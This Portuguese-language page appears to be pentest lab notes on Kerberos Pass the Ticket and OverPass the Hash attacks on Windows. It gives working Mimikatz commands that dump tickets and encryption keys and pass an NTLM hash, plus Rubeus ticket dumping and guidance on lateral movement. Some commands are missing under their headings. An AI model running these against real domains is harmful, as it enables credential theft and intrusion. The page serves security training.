Pass the Ticket (PtT) from Windows

Mimikatz - Export tickets

  • Podemos coletar todos os tickets de um sistema usando o Mimikatz com o módulo sekurlsa::tickets /export

mimikatz.exe
privilege::debug
sekurlsa::tickets /export
exii
dir *.kirbi
  • Rubeus - Export tickets

Rubeus.exe dump /nowrap

OverPass the Hash

  • podemos usar o Mimikatz para extrair todas as chaves de criptografia Kerberos dos usuários usando o módulo sekurlsa::ekeys

mimikatz.exe
privilege::debug
sekurlsa::ekeys
  • Com as chaves AES256_HMACe RC4_HMAC, podemos realizar o ataque OverPass the Hash

mimikatz.exe
privilege::debug
sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:<key-rc4>
  • Isso criará uma nova cmd.exejanela que poderemos usar para solicitar acesso a qualquer serviço que desejarmos no contexto do usuário alvo.

  • Rubeus - Pass the Key aka. OverPass the Hash

circle-info

Mimikatz requer direitos administrativos para executar os ataques Pass the Key/OverPass the Hash, enquanto o Rubeus não.

Pass the Ticket (PtT)

  • Se tivermos alguns tickets Kerberos, podemos usá-los para nos mover lateralmente dentro de um ambiente.

  • Rubeus - Pass the Ticket

  • Outra forma é importar o ticket para a sessão atual usando o .kirbiarquivo do disco.

  • Por fim, também podemos realizar o ataque Pass the Ticket usando o módulo Mimikatz kerberos::ptte o arquivo .kirbi que contém o ticket que queremos importar.

  • Mimikatz - Pass the Ticket for lateral movement

Rubeus - PowerShell Remoting with Pass the Ticket

  • Crie um processo sacrificial com Rubeus

  • O comando acima abrirá uma nova janela do cmd. A partir dessa janela, podemos executar o Rubeus para solicitar um novo TGT com a opção /pttde importar o ticket para nossa sessão atual e conectar ao DC usando o PowerShell Remoting.

Rubeus - Passe o bilhete para movimento lateral

Last updated